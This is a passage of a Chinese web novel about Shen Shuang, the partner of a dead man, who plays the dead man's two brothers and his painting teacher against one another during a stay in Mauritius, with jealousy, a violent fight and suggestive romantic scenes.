眼中流露的歉意,让人无端觉得,他像只意识到自己咬了主人后,松口舔爪,假装不在意,却又偷窥主人的猫。
冷缪从口袋里掏出一个小盒子,放在桌面上,推到徐丰年面前,“老师,打开看看喜不喜欢。”
徐丰年掩盖失落,打开精致的礼盒,里面是一枚红宝石袖扣,样子精巧,一看就价值不菲。
坐在一旁的冷邈自然也注意到这个礼物,他脸色倏地冷凝,声音淬了冰一样的冷,“弟弟,怎么把我的私藏,当做礼物送了人?太失礼了。”
那枚,他曾扣住沈霜领口的红宝石袖扣,被冷缪挑衅地当着他的面,送给另外一人。
21. 兄弟的遗孀(21)
“是吗?实在抱歉。”冷缪摆摆手,嘴上这样说,可脸上满是挑衅,“那麻烦老师转交给我哥吧,我这边重新挑一个礼物,赔、礼、道、歉。”
赔礼道歉四个字,冷缪咬得很重。
徐丰年面色不虞,他将盒子盖上,重重放在桌上,转头看向一旁的冷邈,“冷总,你们冷家的家教就是如此吗?”
冷缪国外留学多年,国内的人并不清楚他几斤几两,找话事人,自然找的是冷邈。
这反倒比任何反击的话语还要折辱,冷缪手指捏着桌上杯子,泛黄的鲁旺酒飘着甘蔗的甜香,心中的火被酒香点旺。
沈霜捏了捏冷缪桌下的另一只手,冲他微不可察地摇头,开口道:“老师,对不起,是我们疏忽才造成误会,希望您能见谅。”
沈霜端着桌上的红酒杯,站起身,微微躬身,“学生敬您一杯。”
姿态放的很低,道歉足够诚恳,全然不似方才冷缪的挑衅。
徐丰年叹口气,抬起酒杯,杯壁轻碰,算是接受这个道歉。
冷邈是天生的上位者,墨发下的双眸满是侵占与警告,即时再怎么装模作样,也不会流露出一丁点儿柔软的和煦。
“冷缪。”他指尖在桌上轻点,“你做的很失礼,身为分公司的执行总裁,有些欠缺。”
看似是在为徐丰年训斥,实则是在告诉徐丰年,冷缪并不是什么废物,是正儿八经的继承人,要给他应有的尊重。
冷缪半仰着头,墨发下狭长的双眼微眯,眸光是不屑与傲慢。
沈霜心中暗笑,感叹道:【看吧,我说他重视亲情,这件事就算是冷缪做得不对,他依旧偏帮冷缪。】
系统点头,【徐丰年挺惨。】
徐丰年才有好转的脸色又沉下来。
他在业内名气斐然,出了业外就不算什么。在冷家这种三代从商的家底面前更是“低人一等”。
可徐丰年咽不下这口气,酒杯被盛怒摔在桌上,“叮当”一声脆响,斜斜转圈,琥珀色的鲁旺酒半淌桌上,看向沈霜的眼里也了先前的好感。
“看来今天相约的不是时候,下次没有外人的时候再聚吧。”徐丰年说完大步往外走去,背影都透着不悦。
沈霜拧着眉看他离开的背影,“啧”一声,屈指轻敲冷缪的鼻尖,“怎么这么坏?”
冷缪睁圆眼,哼哼两声,“才没有。”
冷邈坐在桌对面,沉默地望着两人互动,他们之间与外界有一层不可捉摸的界,旁人无法融入。
胸腔里有潮汐在起降,从水淹到干涸的两首极端,裂纹般的酸涩疼痛。
冷邈的手贴在裤兜,隔着光滑的布料,触摸里面冰冷的手机,手指缓缓地收紧,最后还是拿了出来。
发送信息的十分钟后,冷缪接到公司来的电话。
他轻松的眉眼瞬间撕裂,寒霜从里面侵袭而出,胸腔里一股戾气怎么也压不住,扯着薄唇,冷笑一声,“我知道了,马上过去。”
冷缪挂断电话站起身,“哥,你玩的还挺下贱。”
“我真没想到,你居然会用公司的安危来把我支走,疯子。”
冷邈没说话,冷缪也不指望能得到回应,侧身抬手摁着沈霜的后脑勺,当着冷邈的面接了个吻,“霜霜,我去公司一趟,马上回来。”
沈霜点点头,“好。”
刚才还略显拥挤的餐桌瞬间宽敞起来,只剩下冷邈与沈霜二人。
“您做了什么?”沈霜好奇问道。
冷邈揉着眉心,疲惫感更甚,“没什么,让秘书诓骗他公司财务有问题,需要他去处理。”
“你也觉得我会愚蠢到,或者说——觉得你自己重要到,我值得拿公司的未来为筹码吗?”
“夹枪带棒的。”沈霜直言不讳,“大哥,您说话还是一如既往的难听。”
冷邈不知为何,居然轻笑出声,那片潮汐即将将他淹没,肺部空气被挤压,说出口的话话多了干涩的气音,“他把你养的很好。”
不管先前的怯懦与顺从是否是伪装,至少现在的沈霜有了肆意的底气。
“还想吃点什么?”冷邈将菜单推过去。
徐丰年先到的餐厅,只点了两瓶酒和前菜,打算等沈霜点菜,却闹了袖扣一出事。
沈霜将菜单推回去,“我不太懂这些,大哥你点吧。”
冷邈不再推脱,垂眸看向菜单,不抬眼问:“洋葱、迷迭香能接受吗?”
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“洋葱熟的可以,”沈霜笑着说:“我喜欢迷迭香的香味。”
“您打算把他支开多久?”沈霜手肘抵着桌面,双手交叠,撑着下巴,“之后呢?您打算带我去哪儿?”
“从这里去公司来回一个半小时,我会带你去海边散步。”冷邈招来服务员。
点了双人份的时令海鲜拼盘、牛立方卷,餐后水果沙拉,黑朗姆和可乐。
冷邈将黑朗姆和可乐兑起来,递到沈霜面前,“听说你比较喜欢喝甜酒,毛里求斯的朗姆很出名,想让你尝尝,所以兑了可乐,你应该会喜欢。”
“听冷绛说的吗?”沈霜反问:“他确实很清楚我的喜好。”
“那你清楚他的吗?”冷邈声音平淡,闲谈似的,不觉试探的意味。
“当然啦。”沈霜说的直白坦荡,“毕竟我超爱他的。”
近一个小时,两人用完餐。
车被冷缪开走,两人沿着港口的路慢走,夕阳彻底落入海面,月辉照彻,波光粼粼,像沈霜泪意时的眼。
咸涩的海风穿过周身,带着衣袖翻飞、飘荡。
行至昏黄路灯下,冷邈忽然顿住脚步,半侧过身,冲沈霜伸出手,声音柔和呼唤道:“霜霜,过来。”
灯落在他的侧脸,垂下的发丝模糊五官。
沈霜愣了愣,下意识伸出手,指尖触碰皮质手套时,才反应过来,倏地收回手,皮笑肉不笑道:“大哥,牵手前,应该把手套摘了。”
“是吗?”冷邈佯装不知,“看来你真的很爱他。”
他和冷绛相像程度并不多,侧脸是极像的,穿搭又似了几分,光线模糊,就有九分类似了。
“你也会把冷缪当成他吗?”
“他们很像。”
冷邈忽然上前两步,靠近沈霜,发丝撩拨着他的脸颊,温热的吐息混在咸涩的海风里,扑面而来,“我也可以很像他。”
身后有脚步声接近,声音里似裹挟着一整个冬日的冰雪,纷沓而至,带着警告。
“冷邈,离他远点!”
冷邈勾起讽笑,“蠢弟弟,他把你当替代品得以慰藉。”
——“替代品,当然不可能只有一个啊。”
22. 兄弟的遗孀(22)
面对冷邈的挑衅,冷缪虽然愤怒,但也不屑。
他的话语不算什么,拥有主导权的从来都是沈霜,沈霜的决定与回应才是重中之重。
冷邈仍是那副势在必得的表情,像便宜货一样,对沈霜招手,再次重复方才说过的话,揽客似的,声音里带着磁性的缠绵。
“我也可以很像冷绛。”
出乎意料的,沈霜轻摇了摇头,看见冷邈神情的错愕,他勾着唇浅笑,“不好意思,大哥。”
“我答应过他,不会这样对第二个人。”
“您的试探对我没有用。”
从徐丰年面前维护冷缪的那句话开始,冷邈在试探沈霜接近徐丰年的目的和意图。
模仿冷绛的穿着、语气,试探冷绛在沈霜心中的地位,也试探冷缪在身上心里究竟有几分地位。
冷邈喟叹一声,感叹道:“你真的很聪明。”
吊着人心、吊着胃口,溪水一样潺潺流着,不至于干涸,但也不够填满饥渴的欲望。
徐丰年得到他的仰慕,他得到沈霜的依赖,而冷缪得到的更多,得到了沈霜这个人。
但没关系,他们都是他的垫脚石,用过之后毫不留情的抛弃,只是他还没有到被使用的时候。
到那时候,沈霜也会对他说出独一无二的话语。
冷缪欣喜若狂,大步走上前,将沈霜紧紧拥入怀中,结实的手臂带着不可遏制的颤抖,是兴奋与后怕。
他轻吻着沈霜的额头,像一个得胜者,黑发下的眼睛里是发红的愤怒,厚重的爱欲。
海浪在他们身旁起落,昏黄的路灯和月影交织,投下人影。
柔软、干涩的唇贴着额头,一触即分。
冷缪松开手,紧紧攥着拳,朝冷邈走过去,意图不言而喻。
沈霜并不想看两人打的你死我活,他大力拽着冷缪的手腕,将人拉回来,“别打架。”
打架起来就太丑陋了,像个莽夫,那不符合沈霜的审美,会让他少几分耐心。
迄今为止,沈霜见过打架时动作最赏心悦目的是冷绛。
冷缪很顺着他,像一条乖狗,下巴抵在沈霜肩膀,声音沉闷,旁若无人般说:“可是我很委屈。”
沈霜安抚地抚摸着他的头发,一头发茬坚硬的直起,刺着手心。
高大的怀抱将他揽进,脖颈交错,沈霜直勾勾盯着冷邈的眼,无声开口。
直到两人乘着那辆敞篷车,从他身旁行驶而过,卷起的尘土与潮湿的海风钻进鼻腔,令他几近窒息,冷邈才辨认出沈霜那时说的是什么。
“哥,您也想当狗吗?”
半长的黑发透着光泽垂下,被海风卷起发丝,半眯的眼里是悱恻的温柔,饱满的唇曾被大力吮吸过,莹润的闪烁,像一只慵懒的猫。
他甚至能幻想沈霜的语气,也是慵懒的,每一个字都仿佛下一秒就会睡下,倦怠的哑,尾音缠绵的拉长,卷着人陷入深潭之中,心甘情愿成为“困兽”。
冷邈不想当狗,他要的是狗链拴在沈霜的脖颈上,他是手持狗链的人。
当然,沈霜不是什么恶犬,只是聪明些、麻烦些的小狗,有茂密的毛发,不适合戴上狗链,精心梳理他的毛发,系上蕾丝的蝴蝶结更为合适。
晚上九点半,冷邈一人走在大湾区的海岸旁,听着风声,思索该如何让这只宠物犬换主。
冷缪开着车穿过高楼大厦的路,毛里求斯的城市边缘与国内没什么区别,拥挤在一起的平房,户外同绳子过铁丝搭起的衣架,挂着三两件未来得及收起的衣服。
开上泥巴路,车身的陡峭变得明显起来,飞扬的尘土被甩在身后,两侧茂密的甘蔗快有一人高,似能闻到蔗糖鲜甜的香。
车速变慢下来,冷缪捏着沈霜的脸颊,将他拉过来,鼻尖嗅闻着沈霜的唇,涎水银丝一样粘连在洁白齿尖。
“你喝酒了?”冷缪问:“不是那个心怀不轨的老男人点的鲁旺。”
“嗯。”沈霜点头,含混不清说:“黑朗姆混了可乐。”
冷缪似有所感,“衣冠禽兽点的吧。”
“是啊。”沈霜往后仰头,挣脱冷缪的手,“我们去哪?”
“红顶教堂,我给你买了礼物。”冷缪声音发抖,不知是恐惧还是喜悦,但声音笃定,“你一定会喜欢。”
最初,他以为沈霜沉闷、顺从,衣柜里多是浅色衣服,艳丽的颜色太少。
后来他才发现,是自己知之甚少,沈霜喜欢艳丽的颜色,也偏爱亮闪的装饰。
光是戒指就有不下百来种,只是平日鲜少穿戴。
耳坠、耳骨也有保养极好的耳洞,光下透着嫩红颜色。
大港到红顶教堂很近,从泥土路到石砖路,最明显的改变是车身颠簸减小。
碧绿的海水在夜晚变成一种浓郁到近乎发黑的蓝色,夜晚的红顶教堂几乎没有人,三三两两徘徊在街道旁。
红顶教堂并没有想象中的震撼,不算大,像个农场似的,敞篷车停在路边,冷缪牵着沈霜走上草地。
墙壁的石缝
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间是白色纹路,红色的尖顶鲜艳,两人走去教堂里面,排排棕色桌椅连接,走过中央的路,他们站在讲道台上。
“你要送我什么礼物?”沈霜朝他伸出手,掌心朝上,索取的态度理所当然,“戒指?”
“不是。”冷缪摇头,却又点点头,“有,附赠品。”
“你闭上眼睛。”
沈霜顺从的闭眼,睫毛投下一片浅色阴影。
冷缪喉间干涸,喉结滚动,咽下一口口水,看着沈霜姣好的脸,几乎要克制不住吻上去。
沈霜并不是雌雄莫辨的长相,他面部轮廓柔和,但五官立体、深邃,一眼就可以看出是男性,一双上挑的眼,漆黑的瞳仁吸魂摄魄,望上就逃不走了。
视觉被蒙蔽,感官就具体起来。
带着薄茧的手轻捏着他的耳垂,冰凉的耳钉从耳洞钻进去,旋好耳帽,却并未停下。那只手短暂的抽离,之后抬起他的手,一枚戒指套进无名指。
“好、好了。”冷缪胆战心惊,怕的不敢看沈霜的眼。
沈霜睁开眼,眸光看向无名指的戒指,又伸手去揉摁那枚耳坠,似是水母样式的,颗颗形状不规则的宝石串在一起,充当触手。
“耳坠我很喜欢。”沈霜好笑地去抬冷缪的脸,“怎么害羞了?”
冷缪声音颤颤巍巍,支支吾吾竟好半晌才说出一句完整的话,“真、真的吗?你……喜欢就好。”
紧绷的身体倏然放松,如释重负。
沈霜两指搭在戒指两侧,声音里带着遗憾,“但戒指我不能接受。”
冷缪紧紧抿着唇,神经又紧绷起来,料想过沈霜不会接受,可场景真正发生时,海啸山崩倾倒而来。
指尖磋磨着,低下头,掩饰着内心的痛苦,缓了好久,才勉力露出一个苦笑,“没事,不接受也没关系。”
沈霜脸上是笑着的,饱满的唇翕动,吐出的话和生锈的钝刀一样割着冷缪的心脏。
“我答应过冷绛,只会戴他买的戒指。”
冷绛,又是冷绛!
冷缪红了眼,伸手拽着沈霜的衣角,低低呢喃,声音里带了啜泣,听去和哀求没两样。
“沈霜,好痛啊。”
像摔倒的孩子哭泣着扑进母亲的怀抱中,渴望沈霜能像以往数次那样,捧着他的脸,说他好可怜,给他一个抚慰疼痛的吻。
可沈霜只笑,眼眸透出几分不清明,迷离的餍足,像一只慢条斯理食用着美味猫条的猫。
是残忍的、不谙世事的天真。
23. 兄弟的遗孀(23)
他来的太晚了,想与沈霜一起做的事,早有前者做过。
冷缪费尽心思想要覆盖的痕迹,都会因这张和亲生哥哥一样的脸,在沈霜心里,成为与冷绛的新回忆。
他是替代品。
“沈霜,好痛。”冷缪揪着沈霜衣角的手指用力到泛白,手臂的肌肉跳动、战栗,“别对我那么残忍。”
“至少……别再提起他的名字。”
冷缪像是再也站不住一般,双腿一软,跪在地上,仰面看着沈霜,眼泪就那样流下来。
沈霜伸手,掌心贴着他的面颊,“乖乖,你该想开一点。”
“如果不是这张脸,如果不是他,你没有机会接近我。”沈霜俯身,眼里是悲悯的仁慈与享受,如同接受供奉的佛,贪婪的汲取香火味,“和你相处的点滴,都是因为冷绛才有的起源。”
那未免太悲哀了。
可冷缪又庆幸,因为他和冷绛足够相像的外表,才有资格当这个替代品。
爱和恨在心里反复无常,或许恨本就是爱的影子,两者才会这样难舍难分。
他和沈霜也是如此。
冷缪从口袋里拿出另一枚耳钉,嘴唇嗫嚅着说:“你能帮我戴上吗?”
是一只小牧鱼形状的耳钉,璨璨的银与橙点缀在上。
“我没有耳洞。”冷缪将耳钉放在沈霜指尖,握着沈霜的手,执起尖锐的耳钉,抵在耳坠上,“我想可以就这样戴上去。”
他所有痛也要沈霜给予。
“没有消毒,硬生生穿过去,创伤面积大,可能会感染、发炎、增生。”沈霜爱怜的眼睫垂下,第一次有了真实的怜悯,“你真的要我这样做吗?”
“要、我要。”冷缪仰望着沈霜,用那只手,摁下去,穿破皮肉,有气球炸裂的声音在脑海里响起,一瞬间的疼痛后,血从缝隙里渗透而出,沾染在指尖。
“钱可以解决这些问题。”他说。
沈霜凝视着他指尖的点点猩红,竟握住了冷缪的手,将他的指尖含在唇里,湿热的舌舔过指尖,腥甜在口腔里蔓延。
指尖的血液被舔得干净,晶莹的涎水粘连在指尖与唇畔。
“好可怜。”沈霜说。
眼前的沈霜与记忆中的重合,他想起在冷家与沈霜共处的那个夜晚。
沈霜也是这样居高临下望着跪在地上的他,嘴唇张合,说他可怜。
分明沈霜眼角还带着未干的泪,却抽出腰间细软的皮带,缓慢得套住他的脖颈,绕上两圈系好,窒息感断断续续、反反复复。
沈霜牵着皮带的尾端轻拽,他不受控制地跌在沈霜的□□,任由沈霜抚摸他的发丝,喊他:“小狗。”
简直就是主人级别的。
穿堂的海风拢回飘散思绪,冷缪如同即将飞扑捕食的兽类一般,倏地半跪起身,握住沈霜的肩膀,自下而上吻上去,迅捷的风扑面而来,带着微不可察的血腥味,唇与唇撞在一起,疼痛到发麻。
冷缪每一次接吻都好像野狗扑食,凶狠、野蛮的掠夺,仿佛这样就能够占领高地,得到心中所想。
沈霜穿了双尖角的高靴,踏在冷缪的膝盖上,狭长的双眼半眯着,享受的交换这个吻。
他们在教堂里接吻,他为沈霜戴上戒指,怎么不算结婚?虽然只有他一人在心中赌咒发誓。
就算沈霜不爱他又怎么样?
他们这辈子都会像北极霞水母和小牧鱼那样共生。
他们该是颗同根生的百年树木,树皮裂开的褶皱,是为了掩盖深土之下,密布根系的光裸交缠。
冷缪自然而然牵住沈霜的手,牵着手坐回车上,到红顶小院时,已经近十一点。
沈霜困得打了个哈欠,睫毛沾了泪。
冷邈坐在沙发上,精心打理的发丝出现混乱的卷翘,足以看出他内心并未如面上那样沉静。
“去哪儿?”冷邈一眼就注意到沈霜嘴角的破口,“疼吗?年纪小就是不知道疼人。”
冷缪毫不在意,捏捏鼻子,怪声怪气道:“酸死了。”
“闲着没事可以喝点醋,没什么用,但是酸上加酸。”
冷邈不为所动,眸光始终盯着沈霜,“你喜欢这样幼稚的?”
“他很可爱。”沈霜眸里笑意愈深,“这么晚了,您还不休息吗?”
冷邈合上笔记本,说道:“现在去休息。”
“替代品也要独一无二吗?”冷邈话里透出好奇,“那也太矢志不渝了,我真不认为你爱冷绛。”
“有空谈谈吗?”冷邈站起身,从半开的窗台上拿起一瓶酒,“七色土酒厂的白朗姆,蜂蜜口味。”
“我不太喜欢烂大街的东西。”沈霜点点头,“当然可以。”
冷邈熟练的走向厨房,拿出两个装了半杯冰块的平口杯,放在桌面上,将白朗姆倾倒,蔗香、蜂蜜的甜香,和发酵后特殊的酒香在房间内蔓延。
“喝一杯。”冷邈说:“不好意思,这瓶酒没有你的份。”
冷缪抱臂看着,撇撇嘴,“不稀罕。”
沈霜拖了把靠背椅,
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坐在圆桌对侧,“您想谈什么呢?”
冷邈轻抿一口,冰凉的酒液唤醒混沌的头脑,“目的。”
“你的目的究竟是什么?我很好奇。”
“从你现在的所作所为看,你并不是个优柔寡断的人,一开始的装乖卖巧是种假象伪装,放低我的戒心。”
“我很想知道,你留着沈长海是为了什么?还有你进入沈家的目的。”冷邈这时抬眼,轻巧地瞥了眼冷缪,“总不可能是找个高大上的宠物店,精挑细选一只狗。”
“大哥,这是审问还是互换信息的交易呢?”沈霜撑着下颌,面上又露出乖巧神色。
笑得泛甜,却让人觉得自己是只落在浓稠蜜糖里的飞蚊。
“互换信息。”冷邈斩钉截铁说:“我查到一些东西,你想开工作室,我可以为你提供资金、搜罗人才,不需要再走徐丰年那条路,这为你省了很多麻烦。”
“很动人,但差了点,我需要的是徐丰年的名气。”沈霜喝下半口酒,醇厚的酒香蔓延在唇齿间。
“差什么?可以开诚布公。”冷邈接话。
沈霜眼里藏着狡黠,好心提醒道:“或许大哥该查查我的身边人。”
“我更喜欢你叫我哥哥。”冷邈淡笑着说:“如果那些你不愿意说出口,那叫一声哥哥,换一个你所需的条件,行吗?”
冷邈声音带着蛊惑,宛如伊甸园中那只怂恿夏娃吞吃苹果的毒蛇,又温柔的像情人间呢喃的情话。
手机传来一连串震响,打断两人的谈话,沈霜看了眼,便将屏幕向下,盖放在桌上。
【你怎么还不回来?你不要我了吗?】
【他们也要当你的狗吗?你会同意吗?你有我一只狗就够了。】
【主人,我好想你。】
【汪汪。】
“哥哥。”沈霜脱口而出,“您三年前拍卖会上花六千多万买下的那枚祖母绿胸针我很喜欢,愿意割爱吗?”
酒香四溢,冷邈近乎失神地往沈霜靠过去,像饥肠辘辘的狗闻到了美味大餐,眼中只剩沈霜艳色的唇。
余光里,人影飞快扑来,一拳重重砸向冷邈。
“当着我的面调情,我是死人吗?”
冷邈侧脸结结实实挨了一拳,戾气横生,倏然抄起桌上只剩半瓶的白朗姆,狠狠砸在冷缪头上。
碎渣、酒液四溅,冷邈声音发寒。
“疯狗。”
沈霜抿了一口杯中的白朗姆,“别打了,好丑。”
太不赏心悦目了。
24. 兄弟的遗孀(24)
冷缪脑袋被开了个瓢,清甜的酒水混着血液淌进眼里,视线一片淡红。
冷邈神色平静挽起袖口,手里还拎着那半截酒瓶子,“还要打吗?”
同胞兄弟,儿时不知世事时多多少少也打过几场。后面再大些,冷缪和冷绛就有些怵冷邈了,听话的扮演好弟弟。
冷邈看着弟弟双眼发红的模样,心中涌上烦躁。
二弟为爱私奔反抗,现在三弟竟也因为二弟的挚爱,和他分庭抗争,和白眼狼没区别。
更可笑的是,他自己对沈霜也有几分说不明道不清的心绪。
一家子都遭在沈霜手里。
冷邈侧头看去,沈霜安安静静坐在靠背椅上,翘着那双尖头长靴,木地板上是几个湿漉的、带着泥尘的鞋印。
卷翘睫毛投下一片淡漠阴影,黑色眼眸里的哀愁不见,取而代之的是一股烦躁。就像烦闷总是被玩弄蓬松尾巴的猫一样。
冷缪死死咬着牙,不干不净骂出句脏话。
沈霜眼中烦躁更甚,杯子被重放在桌上,不大不小的响动,却让冷缪的燥热瞬间清明下来,紧张地望着沈霜,注视他的一举一动。
“慢慢打,我睡了。”沈霜留下这句话,就往楼上走去。
一边走,一边蹬下脚上的靴子,白皙脚趾踩在地上,纤细的脚踝露出来,透着青蓝的血管。
那截瓷白的脚踝在幽黑的瞳仁里被无限放大,似乎近在咫尺,只要稍微往前靠点,就能够贴着那层薄薄的皮,嗅里面血肉的味道。
舌尖顺着外踝一路向上,在胯骨那儿留下个咬出血的牙印。
酒瓶倏然坠地,又是脆响一声,彻底碎成片渣。
冷邈不知觉松开了手指,又收拢、摩挲。
冷缪抬手摸了一把脸上的酒和血,快步跟上沈霜,“怎么了?不开心了吗?”
他紧张兮兮,觉得自己快要被逼成神经病。怎么也搞不懂沈霜情绪多变的像他们刚来毛里求斯的天气。
风清月朗的转瞬骤下暴雨。
冷缪不觉得低三下四有什么羞耻,只觉得自己做的不够熟练,觉得自己太过蠢笨,看不清沈霜究竟因为什么生气。
“宝宝,你告诉我嘛。”冷缪夹着嗓子,伸手想揽沈霜的肩,沈霜却快了一步,避开他的手臂。
“我好笨,我不知道你为什么生气,对不起。”
沈霜充耳不闻,眼中按耐不住的烦躁涌上来。
终于到了房门口,沈霜握上门把手,高大的男人如影随形跟在身后,只是靠近,就能感受到温热体温,将他包裹。
沈霜收回手,转过身,面上是淡然。
这样的平静让冷缪更心惊肉跳,手足无措,只能一遍又一遍哀求,“霜霜,宝贝,别生气。”
“你告诉我为什么生气好不好?”
沈霜背靠着门仰头,“别吵。”
“本来就是交易,交易条件不成立,交易自然就取消了。”沈霜神情淡漠,全然没有这几日的甜蜜。
冷缪登时愣住,头脑怎么也转不过弯,嘴巴大张,却又不知道该说什么,好半晌呆愣憋出一句。
“啊?什么意思?”
他真的不明白。
这几天都好好的,怎么突然就变卦了。
冷缪已经竭力说服自己,当个替代品就替代品,反正沈霜只有他一个替代品,和一个死人有什么好争的?
现在连替代品的身份都没有了。
那未免太可怜。
“好蠢。”沈霜撇撇嘴,抬手屈指敲在冷缪的鼻梁上,“字面意思,不想和你玩了。”
一番话说的好直白,像一柄直直的、锋利的剑,咻一下将冷缪心脏捅个对穿,破出的大口灌风,好冷、好痛。
眼眶好热。
冷缪自成年后就再没哭过,顺风顺水、无法无天,唯几次都因为沈霜的言语而哭。
他也说服自己,人生那么顺,爱情上吃点苦头怎么了?
马上他连爱情的苦都吃不到了。
那可不行啊……
冷缪攥紧沈霜的手腕,警惕地听着楼梯那儿的脚步声,拧动门把手,将沈霜带进房间里。
可不敢让冷邈听见这些。
那个衣冠禽兽,他和沈霜甜甜蜜蜜的时候就想插一手,现在他们闹了这么大的别扭,冷邈甭提会干什么了。
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>“宝宝,你怎么啦?”冷缪声音里带着压抑的哭腔,细细的乞求,“你和我好好说行吗?”
“可怜兮兮的表情。”沈霜忽然又有了乐趣,感觉也不是不能暂时遗忘刚才冷缪挥拳时的证明,再陪他逗乐几天。
毕竟他就是这样高需求的人,身边是不能离了人的。
沈霜的手指贴上冷缪面颊,声音柔柔的,“疼吗?”
“不疼。”冷缪眼里的泪花涌出来,被沈霜这一瞬间展露的温柔彻底抚慰,“不疼的。”
软软的手指,带着清甜黏腻的香。
冷缪喉结上下滚动,只觉得喉咙里干涸一片,是亲沈霜的唇才能缓解的干涸。
沈霜牵着冷缪坐在床上,走进浴室里,打湿毛巾,一点点为他擦拭,“怎么那么冲动?”
“不是和你说过吗?不要打架,那样太丑了。”
冷缪愣愣仰头,什么也听不进去,视线里只有沈霜柔软的唇,是嫩红的,像一颗饱满的果子,齿尖碾磨,就会渗出甜味的汁。
沈霜“啧”一声,手下用了点力。
冷缪一疼,稍一思忖,才明白沈霜的意思。
“我以后不打架了!”冷缪急切的说:“我不丑,你别不要我。”
小狗的世界里,弃养是天大的事。
他能接受沈霜忽冷忽热,也能接受沈霜把他当替代品,唯独不能接受沈霜不要他。
酒液和血被尽数擦干净,破口不大,倒有种战损的味道。
沈霜低头过去,黏黏糊糊的四瓣唇粘在一起,莫名其妙就倒在床上,拥着、咬着,纠缠在一起,像海里的两条长海带。
好似每一次接吻,都要啃出血,才能够证明爱的热烈。
情动时冷白的皮冒出汗珠和淡粉的色调,折射出珍珠一样的光泽。
冷邈静静站着,耳侧贴着厚重的门,分明站在室内,他却觉得自己好像置身于昨夜的暴雨中,疼痛的、冰冷的。
似有若无的喘息钻进耳朵里,是情动的喊叫,皮与皮的粘连又分开。
暂时压制下去的欲望是薄薄冰层下汹涌的春水,冰面破裂,那汪春水也就劈头盖脸浇下来,淋漓全身。
25. 兄弟的遗孀(25)
私人飞机提前申请的航线通过,冷邈凌晨就回国了。
那枚红宝石袖扣被放在桌上,压在一张绘图上,上面的字和人一样沉稳、内敛。
“送你的东西,别再落别人手上。”
绘图是那张小王子与玫瑰一同坐在星球上看日落,橙红色的色调蔓延,那枚红宝石被明目张胆替代了玫瑰花的存在。
冷缪看见黑了脸,第二次将袖扣丢进垃圾桶内。
“坏毛病。”沈霜轻嗤一声,“快去公司吧。”
冷邈的到来激起了冷缪的危机预警,顿觉不能再这样醉生梦死下去,温柔乡确实难以割舍,可再这样下去,温柔乡说不准就成了冷邈的。
沈霜下午约了徐丰年,两人去了七色土。
徐丰年支好画板,侧头看去,沈霜蹲在一旁为他挤颜料,细白的手指摁着,圆润的指尖泛粉。
一个漂亮的,仰慕自己的青年,任谁都会有心思。
但昨夜被折辱后,察觉沈霜与冷缪之间的暧昧,心思也就停了。
对沈霜也没了热切的心思,冷上几分。
沈霜站起身,冲徐丰年笑,“老师,弄好了。”
青年笑得腼腆,面颊被日光晒出点红,像将要成熟的苹果那样,已经发散果香,是青涩的酸甜。
徐丰年指了指自己的脸颊,示意沈霜脸上有东西。
沈霜呆愣地抬手去擦,抹了一下,不仅没把颜料抹干净,反而抹开了,酡红的艳色铺在冷白的肌肤上,像有血渗透出来。
徐丰年看痴一瞬,沈霜凑到他面前,那张漂亮的脸蛋在瞳仁里无限放大。
沈霜的眉毛很细,柳叶眉弯弯的,细而窄的双眼皮,眼尾微微上挑,眼里含着笑意,灿灿的亮起。
徐丰年不喜欢宝石,但他母亲很喜欢翡翠,尤其是翡翠手镯,常带的一枚乌鸡手镯,据说是身价最高的,一千二百万。
黑色线条在冰透、莹润的手镯里面凝结,身价如此昂贵,居然逊色沈霜的双眸。
“老师,您帮我擦擦。”沈霜说的一番话纯洁又天真,羞涩地笑意溢在唇畔,“我有些笨手笨脚的。”
这时候应该拉开距离,可不知为何,徐丰年觉得昨夜喝的酒,现在姗姗来迟的酒劲席卷全身。
常年握画笔的手指带着薄茧,触碰柔软的面颊,颜料已经有些干涸,像一副凝结的血面具,徐丰年用了点力气,娇嫩的皮肤泛上淡粉,又是与方才艳红不同的色调。
颜料上了脸怎么可能擦的干净?
徐丰年努力了很久,指尖沾满颜料,见那丁点大小的色块越来越多,这才倏然回过神,仰面后拉,“你有伴侣了,我们应该保持距离。”
“啊?”沈霜眨了眨眼,睫毛宛如一只蝴蝶,微微歪着头,像小动物一样思考,“什么伴侣?”
徐丰年心里突然有种庆幸,声音里都带了小心翼翼的试探,“冷缪啊。”
沈霜失笑,眼眸也弯了起来,七色土昳丽的颜色被模糊,尽数成了流光溢彩的丝带,自下而上的飞起,将两人包裹进一处隐秘的小世界里。
“不是呀,老师。”
沈霜轻声说,眼眉竟有哀伤蔓延,让人不自觉想要抚平他眉心的褶皱,直到指腹再次触碰到起伏的肌肤,徐丰年烫手似的迅速抽回。
欲盖弥彰咳嗽两声,宽慰道:“别哭。”
“您知道的,我曾和冷绛恋爱,他长得很像冷绛,我忍不住。”沈霜眼皮轻颤,有桃色蔓延,眼尾也染了红,“他们好像啊……”
这样吗?悼念亡夫的替代品啊。
徐丰年摩挲着手指,指腹上仿佛还留存着热意。
“这样是不对的。”徐丰年摆出宽容长辈的架势,循循善诱,“你年纪小,难免抵不住诱惑,可你这样做既没对自己负责,也愧对了已死了的人。”
沈霜好似真听进去了,求助般开口,唇上还带着被咬的伤痕,“那我该怎么做啊?老师。”
简直就像出轨的妻子向小三求助。
徐丰年轻柔的抚摸沈霜那头长发,“和他分开。”
“可是、可是……”沈霜咬着唇,“我忍不住。”
“我好爱冷绛,但他死了。”
徐丰年眼里涌上冷意,甩手一挥,“不好意思,我接受不了像你这样道德感低下的人当学生。”
沈霜心中冷笑,面上还是可怜姿色,声音里都有了抽噎,“老师,您也要离开我吗?”
一滴眼泪从眼尾落下,晶莹的泪痕竟有了钻石的璀璨夺目。
徐丰年的怒气一消而散,被心疼取代,一伸手把沈霜捞进怀里,拇指揩去他睫毛残留的泪,红颜料被涂在眼尾上,顾盼生姿的潋滟。
怎么能怪沈霜呢?
他才二十出头的年纪,不懂事不是正常吗?
“别哭了,不会的。”徐丰年截然不同的态度狠狠打自己的脸,“我说气话,你别信。”
“我只是气你不爱惜自己。没关系的,可以慢慢来。”
是啊,可以慢慢来。
沈霜又不爱冷缪,只是因为冷缪和冷绛相似,年轻人的爱恨浓烈,来的快,去的也快。
他还占了个老师的名头,可以徐徐图之。
徐丰年在七色土画了一张沈霜的肖像,两人随意
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进了家路边餐厅,并不高大上,更接地气一些。
沈霜穿着件刺绣短袖,搭配蓝紫色短裤,一双细白的腿笔直,带着薄薄肌肉,耳侧的水母耳坠落下宝石的流苏,贴着脸侧,夺目极了。
他站在毛里求斯的傍晚,身后是橙红色日落的海,冲徐丰年挥手,满满的少年气迎面而来,“老师再见。”
